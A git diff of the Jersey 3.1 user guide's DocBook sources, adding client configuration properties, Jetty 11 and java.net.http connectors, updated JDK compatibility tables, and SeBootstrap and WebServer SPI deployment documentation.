+                    </para>
+                    <para>
+                        By default auto-selects the first server provider found.
+                    </para>
+                </entry>
+            </row>
+        </tbody>
+        </tgroup>
+        </table>
+    </section>
+
     <section xml:id="appendix-properties-servlet">
         <title>Servlet configuration properties</title>
 
@@ -1134,7 +1206,8 @@
                                     &jersey.apache5.Apache5ConnectorProvider;,
                                     &jersey.grizzly.GrizzlyConnectorProvider;,
                                     &jersey.helidon.HelidonConnectorProvider;,
-                                    &jersey.netty.NettyConnectorProvider;, and
+                                    &jersey.netty.NettyConnectorProvider;,
+                                    &jersey.jetty11.Jetty11ConnectorProvider;, and
                                     &jersey.jetty.JettyConnectorProvider; only.</emphasis>
                             </para>
                         </entry>
@@ -1237,6 +1310,23 @@
                         </entry>
                     </row>
                     <row>
+                        <entry>&jersey.client.ClientProperties.SNI_HOST_NAME;</entry>
+                        <entry><literal>jersey.config.client.sniHostName</literal></entry>
+                        <entry>
+                            <para>
+                                Most connectors support HOST header value to be used as an SNIHostName. However, the HOST header is restricted in JDK.
+                                <literal>HttpUrlConnector</literal> and <literal>JavaNetHttpConnector</literal> need
+                                an extra System Property set to allow HOST header.
+                                As an option to HOST header, this property allows the HOST name to be pre-set on a Client and does not need to
+                                be set on each request.
+                                <literal>Since 3.1.2</literal>
+                            </para>
+                            <para>
+                                The value MUST be an instance of &lit.jdk6.String;
+                            </para>
+                        </entry>
+                    </row>
+                    <row>
                         <entry>&jersey.logging.LoggingFeature.LOGGING_FEATURE_LOGGER_NAME_CLIENT;
                         </entry>
                         <entry>
@@ -2341,6 +2431,110 @@
             </tgroup>
         </table>
     </section>
+    <section xml:id="appendix-properties-client-jnh">
+        <title>Java Net HTTP client configuration properties</title>
+
+        <para>
+            List of client configuration properties that can be found in &jersey.jnh.JavaNetHttpClientProperties; class.
+        </para>
+
+        <table>
+            <title>List of Java Net HTTP client configuration properties</title>
+            <tgroup cols="3">
+                <thead>
+                    <row>
+                        <entry>Constant</entry>
+                        <entry>Value</entry>
+                        <entry>Description</entry>
+                    </row>
+                </thead>
+                <tbody>
+                    <row>
+                        <entry>&jersey.jnh.JavaNetHttpClientProperties.COOKIE_HANDLER;</entry>
+                        <entry><literal>jersey.config.jnh.client.cookieHandler</literal></entry>
+                        <entry>
+                            <para>
+                                Configuration of the <literal>java.net.CookieHandler</literal> that should be used by the
+                                <literal>java.net.http.HttpClient</literal>. If this option is not set,
+                                <literal>java.net.http.HttpClient#cookieHandler()</literal> will return an empty
+                                <literal>java.util.Optional</literal> and therefore no cookie handler will be used.
+                            </para>
+                            <para>
+                                A provided value to this option has to be of type <literal>java.net.CookieHandler</literal>.
+                            </para>
+                        </entry>
+                    </row>
+                    <row>
+                        <entry>&jersey.jnh.JavaNetHttpClientProperties.SSL_PARAMETERS;</entry>
+                        <entry><literal>jersey.config.jnh.client.sslParameters</literal></entry>
+                        <entry>
+                            <para>
+                                Configuration of SSL parameters used by the <literal>java.net.http.HttpClient</literal>.
+                                If this option is not set, then the <literal>java.net.http.HttpClient</literal> will use
+                                <it>implementation specific</it> default values.
+                            </para>
+                            <para>
+                                A provided value to this option has to be of type <literal>javax.net.ssl.SSLParameters</literal>.
+                            </para>
+                        </entry>
+                    </row>
+                    <row>
+                        <entry>&jersey.jnh.JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION;</entry>
+                        <entry><literal>jersey.config.jnh.client.preemptiveBasicAuthentication</literal></entry>
+                        <entry>
+                            <para>
+                                An instance of the Authenticator class which represents an object that knows how to
+                                obtain authentication for a network connection should be used.
+                            </para>
+                            <para>
+                                If an <literal>java.net.Authenticator</literal> instance is found,
+                                it is then used for the given request.
+                            </para>
+                            <para>
+                                The value MUST be an instance of <literal>java.net.Authenticator</literal>.
+                                If the property is absent, no authentication is used.
+                            </para>
+                        </entry>
+                    </row>
+                    <row>
+                        <entry>&jersey.jnh.JavaNetHttpClientProperties.DISABLE_COOKIES;</entry>
+                        <entry><literal>jersey.config.jnh.client.disableCookies</literal></entry>
+                        <entry>
+                            <para>
+                                A value of &lit.false; indicates the client should handle cookies
+                                automatically using HttpClient's default cookie policy. A value
+                                of &lit.true; will cause the client to ignore all cookies.
+                            </para>
+                            <para>
+                                The value MUST be an instance of <literal>java.lang.Boolean</literal>.
+                            </para>
+                            <para>
+                                The default value is &lit.false;.
+                            </para>
+                        </entry>
+                    </row>
+                    <row>
+                        <entry>&jersey.jnh.JavaNetHttpClientProperties.HTTP_VERSION;</entry>
+                        <entry><literal>jersey.config.jnh.client.httpVersion</literal></entry>
+                        <entry>
+                            <para>
+                                HTTP version - if null or instance of HttpClient.Version.HTTP_1_1
+                                the version will be set to HTTP_1_1. If version is HttpClient.Version.HTTP_2
+                                the client will attempt to perform each request using HTTP_2 protocol
+                                but if not supported by server, the protocol will be still HTTP_1_1
+                            </para>
+                            <para>
+                                The value MUST be an instance of <literal>java.net.http.HttpClient.Version</literal>.
+                            </para>
+                            <para>
+                                The default value is &lit.null;.
+                            </para>
+                        </entry>
+                    </row>
+                </tbody>
+            </tgroup>
+        </table>
+    </section>
     <section xml:id="appendix-properties-multipart">
         <title>Multipart configuration properties</title>
 
diff --git a/docs/src/main/docbook/client.xml b/docs/src/main/docbook/client.xml
index 4dcfc91..bfda0f5 100644
--- a/docs/src/main/docbook/client.xml
+++ b/docs/src/main/docbook/client.xml
@@ -656,14 +656,19 @@
                             <entry><literal>org.glassfish.jersey.connectors:jersey-helidon-connector</literal></entry>
                         </row>
                         <row>
-                            <entry>Jetty HTTP client</entry>
+                            <entry>Jetty HTTP client (JDK 17+)</entry>
                             <entry>&jersey.jetty.JettyConnectorProvider;</entry>
                             <entry><literal>org.glassfish.jersey.connectors:jersey-jetty-connector</literal></entry>
                         </row>
                         <row>
-                            <entry>Jetty HTTP/2 client</entry>
-                            <entry>&jersey.jetty.JettyHttp2ConnectorProvider;</entry>
-                            <entry><literal>org.glassfish.jersey.connectors:jersey-jetty-http2-connector</literal></entry>
+                            <entry>Jetty 11.x HTTP client</entry>
+                            <entry>&jersey.jetty11.Jetty11ConnectorProvider;</entry>
+                            <entry><literal>org.glassfish.jersey.connectors:jersey-jetty11-connector</literal></entry>
+                        </row>
+                        <row>
+                            <entry>Jetty 11.x HTTP/2 client</entry>
+                            <entry>&jersey.jetty11.Jetty11Http2ConnectorProvider;</entry>
+                            <entry><literal>org.glassfish.jersey.connectors:jersey-jetty11-http2-connector</literal></entry>
                         </row>
                         <row>
                             <entry>Netty NIO framework</entry>
@@ -675,6 +680,11 @@
                             <entry>&jersey.jdk.JdkConnectorProvider;</entry>
                             <entry><literal>org.glassfish.jersey.connectors:jersey-jdk-connector</literal></entry>
                         </row>
+                        <row>
+                            <entry>Java java.net.http client</entry>
+                            <entry>&jersey.jnh.JavaNetHttpConnectorProvider;</entry>
+                            <entry><literal>org.glassfish.jersey.connectors:jersey-jnh-connector</literal></entry>
+                        </row>
                     </tbody>
                 </tgroup>
             </table>
@@ -878,6 +888,21 @@
                     </programlisting>
                 </para>
             </section>
+            <section>
+                <title>Jetty 11.x HttpClient Configuration</title>
+                <para>
+                    For Jetty Connector, an &jersey.jetty11.Jetty11HttpClientSupplier; SPI allows for providing a configured instance
+                    of <literal>org.eclipse.jetty.client.HttpClient</literal>:
+                    <programlisting language="java" linenumbering="numbered">
+                        HttpClient httpClient = new HttpClient(...);
+                        ClientConfig clientConfig = new ClientConfig()
+                            .connectorProvider(new Jetty11ConnectorProvider())
+                            .register(new Jetty11HttpClientSupplier(httpClient));
+                        Client client = ClientBuilder.newClient(clientConfig);
+                        ...
+                    </programlisting>
+                </para>
+            </section>
         </section>
     </section>
 
@@ -1028,9 +1053,9 @@
                 revalidate URL using a custom implementation of &lit.jdk6.HostnameVerifier; and go on in a handshake processing.
                 &lit.jersey.jetty.JettyConnectorProvider; and &lit.jersey.grizzly.GrizzlyConnectorProvider; provide only host URL verification
                 and throw a &lit.jdk6.CertificateException; without any possibility to use custom &lit.jdk6.HostnameVerifier;.
-                Moreover, in case of &lit.jersey.jetty.JettyConnectorProvider; there is a property
-                &jersey.jetty.JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION; to disable an entire host URL verification
-                mechanism in a handshake.
+                Moreover, in case of &lit.jersey.jetty.JettyConnectorProvider; and &lit.jersey.jetty11.Jetty11ConnectorProvider; there are the properties
+                &jersey.jetty.JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION; and &jersey.jetty11.Jetty11ClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION;
+                to disable an entire host URL verification mechanism in a handshake.
             </para>
         </important>
 
diff --git a/docs/src/main/docbook/dependencies.xml b/docs/src/main/docbook/dependencies.xml
index 8fb7d44..8037dc9 100644
--- a/docs/src/main/docbook/dependencies.xml
+++ b/docs/src/main/docbook/dependencies.xml
@@ -29,24 +29,31 @@
          xml:id="modules-and-dependencies">
     <title>Modules and dependencies</title>
 
-    <section>
+    <section xml:id="se_compatibility">
         <title>Java SE Compatibility</title>
 
         <para>
-            <emphasis>3.0.x branch: </emphasis>
+            <emphasis>3.1 branch: </emphasis>
             <itemizedlist>
                 <listitem>
-                    <para>This user guide refers only to version 3.0.x of Jersey, its compatibility is described below.</para>
+                    <para>This user guide refers only to version 3.1.x of Jersey, its compatibility is described below.</para>
                 </listitem>
                 <listitem>
-                    <para>Jersey 3.0.x components are compiled with Java SE 1.8 target.
-                        It means, that you will need at least Java SE 1.8 to be able to compile and run your application
-                        which uses the latest Jersey 3.0.x. All modules are also fully compatible with JDK 11 and above - depending on Jersey version.
+                    <para>Since version 3.1.0 all Jersey components are compiled with Java SE 11 target.
+                        It means, that you will need at least Java SE 11 to be able to compile and run your application
+                        which uses the latest Jersey 3.1.x.
+                        Some modules, however, are fully compatible with JDK 17 and above (Jetty modules based on Jetty 12
+                        [since 3.1.4], Helidon Connector, Spring 6).
+                    </para>
+                </listitem>
+                <listitem>
+                    <para>
+                        Please see <xref linkend="migration"/> for additional compatibility information.
                     </para>
                 </listitem>
             </itemizedlist>
             <table pgwide="1" frame='all' xml:id="jersey-jdk-compatibility">
-                <title>Jersey 3.0.x JDK compatibility</title>
+                <title>Jersey 3.1.x JDK compatibility</title>
                 <tgroup cols='3' align='center' colsep='1' rowsep='1'>
                     <colspec colname='c1'/>
                     <colspec colname='c2'/>
@@ -59,21 +66,14 @@
                         </row>
                     </thead>
                     <tbody>
-                        <row><entry>3.0.0</entry><entry>1.8</entry><entry>16</entry></row>
-                        <row><entry>3.0.1</entry><entry>1.8</entry><entry>16</entry></row>
-                        <row><entry>3.0.2</entry><entry>1.8</entry><entry>17</entry></row>
-                        <row><entry>3.0.3</entry><entry>1.8</entry><entry>18</entry></row>
-                        <row><entry>3.0.4</entry><entry>1.8</entry><entry>18</entry></row>
-                        <row><entry>3.0.5</entry><entry>1.8</entry><entry>19</entry></row>
-                        <row><entry>3.0.6</entry><entry>1.8</entry><entry>19</entry></row>
-                        <row><entry>3.0.7</entry><entry>1.8</entry><entry>19</entry></row>
-                        <row><entry>3.0.8</entry><entry>1.8</entry><entry>19</entry></row>
-                        <row><entry>3.0.9</entry><entry>1.8</entry><entry>20</entry></row>
-                        <row><entry>3.0.10</entry><entry>1.8</entry><entry>20</entry></row>
-                        <row><entry>3.0.11</entry><entry>1.8</entry><entry>21</entry></row>
-                        <row><entry>3.0.12</entry><entry>1.8</entry><entry>22</entry></row>
-                        <row><entry>3.0.13</entry><entry>1.8</entry><entry>23</entry></row>
-                        <row><entry>3.0.14</entry><entry>1.8</entry><entry>23</entry></row>
+                        <row><entry>3.1.0</entry><entry>11</entry><entry>19</entry></row>
+                        <row><entry>3.1.1</entry><entry>11</entry><entry>19</entry></row>
+                        <row><entry>3.1.2</entry><entry>11</entry><entry>21</entry></row>
+                        <row><entry>3.1.3</entry><entry>11</entry><entry>21</entry></row>
+                        <row><entry>3.1.4</entry><entry>11</entry><entry>22</entry></row>
+                        <row><entry>3.1.5</entry><entry>11</entry><entry>22</entry></row>
+                        <row><entry>3.1.6</entry><entry>11</entry><entry>23</entry></row>
+                        <row><entry>3.1.7</entry><entry>11</entry><entry>23</entry></row>
                     </tbody>
                 </tgroup>
             </table>
@@ -207,7 +207,12 @@
     &lt;artifactId&gt;jersey-apache-connector&lt;/artifactId&gt;
     &lt;version&gt;&version;&lt;/version&gt;
 &lt;/dependency&gt;
-<!-- Requires JDK 11+ -->
+&lt;dependency&gt;
+    &lt;groupId&gt;org.glassfish.jersey.connectory&lt;/groupId&gt;
+    &lt;artifactId&gt;jersey-jetty11-connector&lt;/artifactId&gt;
+    &lt;version&gt;&version;&lt;/version&gt;
+&lt;/dependency&gt;
+<!-- Requires JDK 17+ -->
 &lt;dependency&gt;
     &lt;groupId&gt;org.glassfish.jersey.connectors&lt;/groupId&gt;
     &lt;artifactId&gt;jersey-jetty-connector&lt;/artifactId&gt;
diff --git a/docs/src/main/docbook/deployment.xml b/docs/src/main/docbook/deployment.xml
index 474fd63..9fac43c 100644
--- a/docs/src/main/docbook/deployment.xml
+++ b/docs/src/main/docbook/deployment.xml
@@ -110,6 +110,9 @@
             classpath, unless explicitly stated otherwise in the documentation of each particular extension.
             Users are expected to explicitly register the extension &jaxrs.core.Feature;s using their
             &lit.jaxrs.core.Application; subclass.
+            Since Jersey 3.1.0 all features which extends &jaxrs.core.Feature; and are listed as SPI of the &lit.jaxrs.core.Feature;
+            interface are automatically registered (not required to be registered within &lit.jaxrs.core.Application; subclass).
+            For server site Jersey 3.1.0 also registers SPIs for &lit.jaxrs.container.DynamicFeature; interface.
             For a few Jersey provided modules however there is no need to explicitly register their extension
             &lit.jaxrs.core.Feature;s as these are discovered and registered in the &jaxrs.core.Configuration; (on client/server)
             automatically by Jersey runtime whenever the modules implementing these features are present on the classpath
@@ -193,6 +196,17 @@
         </section>
 
     </section>
+    <section  xml:id="deployment.feature.dynamicFeature">
+        <title>Feature and Dynamic Feature SPI automatic registration</title>
+        <para>
+            Since Jersey 3.1.0 there is a new specification requirement to automatically discover and register classes that
+            implement &jaxrs.core.Feature; and &jaxrs.container.DynamicFeature; interfaces. This is being done via SPI search
+            thus all those classes in order to be discovered automatically shall be listed as SPIs for given interfaces.
+            This automatic registration can also be disabled by <literal>jakarta.ws.rs.loadServices</literal>
+            (which is new specification property) to be set to false. This is also valid for
+            &jersey.common.CommonProperties.FEATURE_AUTO_DISCOVERY_DISABLE; lookup.
+        </para>
+    </section>
 
     <section xml:id="deployment.classpath-scanning">
         <title>Configuring the Classpath Scanning</title>
@@ -207,6 +221,12 @@
             <itemizedlist>
                 <title>List of SPIs recognized by Jersey</title>
                 <listitem>
+                    <para>&lit.jaxrs.core.Feature; (server, client) -
+                        Features are being registered similarly to AutoDiscoverable feature. In addition
+                        property jakarta.ws.rs.loadServices is checked before registration.
+                    </para>
+                </listitem>
+                <listitem>
                     <para><literal>AutoDiscoverable</literal> (server, client) -
                         it means if you disable service loading the AutoDiscoverable feature is automatically disabled too</para>
                 </listitem>
@@ -218,6 +238,10 @@
                     <para><literal>HeaderDelegateProvider</literal> (server, client)</para>
                 </listitem>
                 <listitem>
+                    <para>&lit.jaxrs.container.DynamicFeature; (server) -
+                    Similar to &lit.jaxrs.core.Feature; registration but only for server.</para>
+                </listitem>
+                <listitem>
                     <para><literal>ComponentProvider</literal> (server)</para>
                 </listitem>
                 <listitem>
@@ -484,6 +508,88 @@
                 </note>
             </section>
         </section>
+
+        <section xml:id="deployment.bootstrap.api">
+            <title>Jakarta REST Bootstrap API</title>
+            <para>
+                Jakarta REST 3.1 comes with a new API for starting an application in Java SE environment. This
+                <literal>Bootstrap</literal> API is mainly represented by &lit.jaxrs.SeBootstrap; interface.
+                The Jakarta REST application is started as follows:
+                <programlisting language="java">Application application = new MyApplication();
+SeBootstrap.Configuration.Builder configBuilder = SeBootstrap.Configuration.builder();
+CompletionStage&lt;SeBootstrap.Instance&gt; completionStage = SeBootstrap.start(application, configBuilder.build());</programlisting>
+            </para>
+            <para>
+                Later, when the SE application is no longer needed, it can be shutdown as follows:
+                <programlisting language="java">CompletionStage&lt;SeBootstrap.Instance&gt; completionStage = ...
+SeBootstrap.Instance instance = completionStage().get();
+instance.stop();</programlisting>
+            </para>
+            <para>
+                The &lit.jaxrs.SeBootstrap.Configuration; allows for configuring the Jersey runtime. The Jakarta REST 3.1 allows
+                for configuring the HTTP port, the protocol (HTTP), the hostname, the root path, and SSL. The
+                &lit.jaxrs.SeBootstrap; is configured as follows:
+                <programlisting language="java">SeBootstrap.Configuration.Builder configBuilder = SeBootstrap.Configuration.builder();
+configBuilder.property(SeBootstrap.Configuration.PROTOCOL, "HTTP")
+    .property(SeBootstrap.Configuration.HOST, "localhost")
+    .property(SeBootstrap.Configuration.PORT, 1234)
+    .property(SeBootstrap.Configuration.ROOT_PATH, "/root/path");</programlisting>
+            </para>
+            <para>
+                The &lit.jaxrs.SeBootstrap; deployment is backed up by an HTTP server described in
+                <xref linkend="deployment.http"/>. If multiple Jersey container modules are on the classpath,
+                the first found is used.
+            </para>
+        </section>
+
+        <section xml:id="deployment.webserver.spi">
+            <title>Jersey WebServer SPI</title>
+            <para>
+                Jersey &jersey.server.spi.WebServer; and &jersey.server.spi.WebServerProvider; are SPI interfaces similar to
+                &jersey.server.spi.ContainerProvider; but they are used for the SE deployment. They serve as a bridge between
+                Jersey containers and &lit.jaxrs.SeBootstrap; API.
+                The Jakarta REST application can be started as follows:
+                <programlisting language="java">Application application = new MyApplication();
+SeBootstrap.Configuration.Builder configBuilder = SeBootstrap.Configuration.builder();
+WebServer webServer = WebServerFactory.createServer(WebServer.class, application, configBuilder.build());</programlisting>
+            </para>
+            <para>
+                Later, when the SE application is no longer needed, it can be shutdown as follows:
+                <programlisting language="java">WebServer webServer = ...
+webServer.stop();</programlisting>
+            </para>
+            <para>
+                &jersey.server.WebServerFactory; is used to automatically choose among available implementations on a classpath.
+                If there are multiple implementations available, the first found is used. The user can choose the implementation
+                of a &lit.jersey.server.spi.WebServer; by a concrete WebServer subclass, for instance:
+                <programlisting language="java">
+WebServer webServer = WebServerFactory.createServer(GrizzlyHttpServer.class, application, configBuilder.build());</programlisting>
+                Another way to choose the &lit.jersey.server.spi.WebServer; implementation is by the
+                &lit.jersey.server.spi.WebServerProvider; implementation:
+                <programlisting language="java">
+WebServer webServer = GrizzlyHttpServerProvider.createServer(WebServer.class, application, configBuilder.build());</programlisting>
+            </para>
+            <para>
+                For additional customization of the WebServer settings, see <xref linkend="appendix-properties-webserver"/>.
+            </para>
+        </section>
+
+        <warning xml:id="ports.warning" xreflabel="Default ports">
+            <para>
+                When the port is set to -1, the default ports are used.
+                Unlike the default ports used by the <xref linkend="deployment.http"/>, the &lit.jaxrs.SeBootstrap; API and
+                &lit.jersey.server.spi.WebServer; SPI use default ports 8080 and 8443, respectively.
+            </para>
+            <para>
+                When the port is set to 0, the implementation scans for a free port. The privileged ports are skipped, and the
+                scanning starts with port 1024.
+            </para>
+            <para>
+                Using the restricted ports can be ensured either by setting directly the port, or by setting
+                &jersey.server.ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS; property to true in the
+                &lit.jaxrs.SeBootstrap.Configuration;
+            </para>
+        </warning>
     </section>
 
     <section xml:id="deployment.jaxrs.endpoint">
diff --git a/docs/src/main/docbook/jaxrs-resources.xml b/docs/src/main/docbook/jaxrs-resources.xml
index d6cb100..884209d 100644
--- a/docs/src/main/docbook/jaxrs-resources.xml
+++ b/docs/src/main/docbook/jaxrs-resources.xml
@@ -480,6 +480,11 @@
             </example>
         </para>
 
+        <para>
+            For quicker getting of values for a known header name there is a shortcut for <literal>hh.getRequestHeaders().get(name)</literal>
+            which is <literal>hh.getRequestHeader(name)</literal>.
+        </para>
+
         <para>In general &jaxrs.core.Context; can be used to obtain contextual Java types related to the request or response.
         </para>
 
diff --git a/docs/src/main/docbook/jersey.ent b/docs/src/main/docbook/jersey.ent
index 52b8a74..614c765 100644
--- a/docs/src/main/docbook/jersey.ent
+++ b/docs/src/main/docbook/jersey.ent
@@ -28,6 +28,7 @@
 <!ENTITY jaxb-api-jar.version "$jaxb-api-jar-version">
 <!ENTITY jax-rs.version "$jax-rs-api-jar-version">
 <!ENTITY jax-rs21.version "2.1.6">
+<!ENTITY jax-rs31.spec.version "3.1">
 <!ENTITY jakarta.el.version "$jakarta.el-version">
 <!ENTITY jakarta.el-impl.version "$jakarta.el-impl-version">
 <!ENTITY jax-rs-api-jar.version "$jax-rs-api-jar-version">
@@ -60,6 +61,7 @@
 <!ENTITY jaxrs.release.uri "https://github.com/eclipse-ee4j/jaxrs-api">
 <!ENTITY jaxrs.javadoc.uri "https://jakartaee.github.io/rest/apidocs/&jax-rs.version;/jakarta/ws/rs">
 <!ENTITY jaxrs21.javadoc.uri "https://jakartaee.github.io/rest/apidocs/&jax-rs21.version;/javax/ws/rs">
+<!ENTITY jaxrs31.spec.uri "https://jakarta.ee/specifications/restful-ws/&jax-rs31.spec.version;/jakarta-restful-ws-spec-&jax-rs31.spec.version;.html">
 <!ENTITY jsonb.javadoc.uri "https://jakarta.ee/specifications/jsonb/2.0/apidocs/jakarta/json/bind">
 <!ENTITY jersey.documentation.uri "https://eclipse-ee4j.github.io/jersey.github.io">
 
@@ -215,6 +217,7 @@
 <!ENTITY jaxrs.core.Configuration "<link xlink:href='&jaxrs.javadoc.uri;/core/Configuration.html'>Configuration</link>">
 <!ENTITY jaxrs.core.Context "<link xlink:href='&jaxrs.javadoc.uri;/core/Context.html'>@Context</link>">
 <!ENTITY jaxrs.core.Cookie "<link xlink:href='&jaxrs.javadoc.uri;/core/Cookie.html'>Cookie</link>">
+<!ENTITY jaxrs.core.EntityPart "<link xlink:href='&jaxrs.javadoc.uri;/core/EntityPart.html'>EntityPart</link>">
 <!ENTITY jaxrs.core.EntityTag "<link xlink:href='&jaxrs.javadoc.uri;/core/EntityTag.html'>EntityTag</link>">
 <!ENTITY jaxrs.core.Feature "<link xlink:href='&jaxrs.javadoc.uri;/core/Feature.html'>Feature</link>">
 <!ENTITY jaxrs.core.FeatureContext "<link xlink:href='&jaxrs.javadoc.uri;/core/FeatureContext.html'>FeatureContext</link>">
@@ -234,6 +237,7 @@
 <!ENTITY jaxrs.core.Response.Status "<link xlink:href='&jaxrs.javadoc.uri;/core/Response.Status.html'>Response.Status</link>">
 <!ENTITY jaxrs.core.Response.Status.Family "<link xlink:href='&jaxrs.javadoc.uri;/core/Response.Status.Family.html'>Response.Status.Family</link>">
 <!ENTITY jaxrs.core.Response.StatusType "<link xlink:href='&jaxrs.javadoc.uri;/core/Response.StatusType.html'>Response.StatusType</link>">
+<!ENTITY jaxrs.core.SeBootstrap "<link xlink:href='&jaxrs.javadoc.uri;/SeBootstrap.html'>SeBootstrap</link>">
 <!ENTITY jaxrs.core.SecurityContext "<link xlink:href='&jaxrs.javadoc.uri;/core/SecurityContext.html'>SecurityContext</link>">
 <!ENTITY jaxrs.core.StreamingOutput "<link xlink:href='&jaxrs.javadoc.uri;/core/StreamingOutput.html'>StreamingOutput</link>">
 <!ENTITY jaxrs.core.UriBuilder "<link xlink:href='&jaxrs.javadoc.uri;/core/UriBuilder.html'>UriBuilder</link>">
@@ -252,6 +256,7 @@
 <!ENTITY jaxrs.ext.RuntimeDelegate.HeaderDelegate "<link xlink:href='&jaxrs.javadoc.uri;/ext/RuntimeDelegate.HeaderDelegate.html'>RuntimeDelegate.HeaderDelegate&lt;T&gt;</link>">
 <!ENTITY jaxrs21.sse.SseEventSink "<link xlink:href='&jaxrs21.javadoc.uri;/sse/SseEventSink.html'>SseEventSink</link>">
 <!ENTITY jaxrs21.sse.Sse "<link xlink:href='&jaxrs21.javadoc.uri;/sse/Sse.html'>Sse</link>">
+<!ENTITY jaxrs31.exceptionMapperProvider "<link xlink:href='&jaxrs31.spec.uri;#exceptionmapper'>Exception Mapping Providers</link>">
 
 <!ENTITY jdk6.Boolean "<link xlink:href='&jdk6.javadoc.uri;/java/lang/Boolean.html'>Boolean</link>">
 <!ENTITY jdk6.CountDownLatch "<link xlink:href='&jdk6.javadoc.uri;/java/util/concurrent/CountDownLatch.html'>CountDownLatch</link>">
@@ -363,6 +368,7 @@
 <!ENTITY jersey.client.ClientProperties.DIGESTAUTH_URI_CACHE_SIZELIMIT "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#DIGESTAUTH_URI_CACHE_SIZELIMIT'>ClientProperties.DIGESTAUTH_URI_CACHE_SIZELIMIT</link>" >
 <!ENTITY jersey.client.ClientProperties.EXPECT_100_CONTINUE "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#EXPECT_100_CONTINUE'>ClientProperties.EXPECT_100_CONTINUE</link>" >
 <!ENTITY jersey.client.ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#EXPECT_100_CONTINUE_THRESHOLD_SIZE'>ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE</link>" >
+<!ENTITY jersey.client.ClientProperties.SNI_HOST_NAME "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#SNI_HOST_NAME'>ClientProperties.SNI_HOST_NAME</link>" >
 <!ENTITY jersey.client.ClientLifecycleListener "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientLifecycleListener.html'>ClientLifecycleListener</link>">
 <!ENTITY jersey.client.Connector "<link xlink:href='&jersey.javadoc.uri.prefix;/client/spi/Connector.html'>Connector</link>">
 <!ENTITY jersey.client.ConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/client/spi/ConnectorProvider.html'>ConnectorProvider</link>">
@@ -491,11 +497,26 @@
 <!ENTITY jersey.jetty.JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/connector/JettyClientProperties.html#SYNC_LISTENER_RESPONSE_MAX_SIZE'>JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE</link>" >
 <!ENTITY jersey.jetty.JettyClientProperties.TOTAL_TIMEOUT "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/connector/JettyClientProperties.html#TOTAL_TIMEOUT'>JettyClientProperties.TOTAL_TIMEOUT</link>" >
 <!ENTITY jersey.jetty.JettyConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/connector/JettyConnectorProvider.html'>JettyConnectorProvider</link>">
-<!ENTITY jersey.jetty.JettyHttp2ConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/http2/connector/JettyConnectorProvider.html'>JettyHttp2ConnectorProvider</link>">
+<!ENTITY jersey.jetty11.Jetty11Http2ConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/http2/connector/Jetty11ConnectorProvider.html'>Jetty11Http2ConnectorProvider</link>">
 <!ENTITY jersey.jetty.JettyHttpContainer "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/JettyHttpContainer.html'>JettyHttpContainer</link>">
 <!ENTITY jersey.jetty.JettyHttpContainerFactory "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/JettyHttpContainerFactory.html'>JettyHttpContainerFactory</link>">
 <!ENTITY jersey.jetty.JettyHttpContainerProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/JettyHttpContainerProvider.html'>JettyHttpContainerProvider</link>">
 <!ENTITY jersey.jetty.JettyWebContainerFactory "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/servlet/JettyWebContainerFactory.html'>JettyWebContainerFactory</link>">
+<!ENTITY jersey.jetty11.Jetty11ClientProperties "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html'>Jetty11ClientProperties</link>" >
+<!ENTITY jersey.jetty11.Jetty11HttpClientSupplier "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11HttpClientSupplier.html'>Jetty11HttpClientSupplier</link>" >
+<!ENTITY jersey.jetty11.Jetty11ClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html#ENABLE_SSL_HOSTNAME_VERIFICATION'>Jetty11ClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION</link>" >
+<!ENTITY jersey.jetty11.Jetty11ClientProperties.DISABLE_COOKIES "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html#DISABLE_COOKIES'>Jetty11ClientProperties.DISABLE_COOKIES</link>" >
+<!ENTITY jersey.jetty11.Jetty11ClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html#PREEMPTIVE_BASIC_AUTHENTICATION'>Jetty11ClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION</link>" >
+<!ENTITY jersey.jetty11.Jetty11ClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html#SYNC_LISTENER_RESPONSE_MAX_SIZE'>Jetty11ClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE</link>" >
+<!ENTITY jersey.jetty11.Jetty11ClientProperties.TOTAL_TIMEOUT "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html#TOTAL_TIMEOUT'>Jetty11ClientProperties.TOTAL_TIMEOUT</link>" >
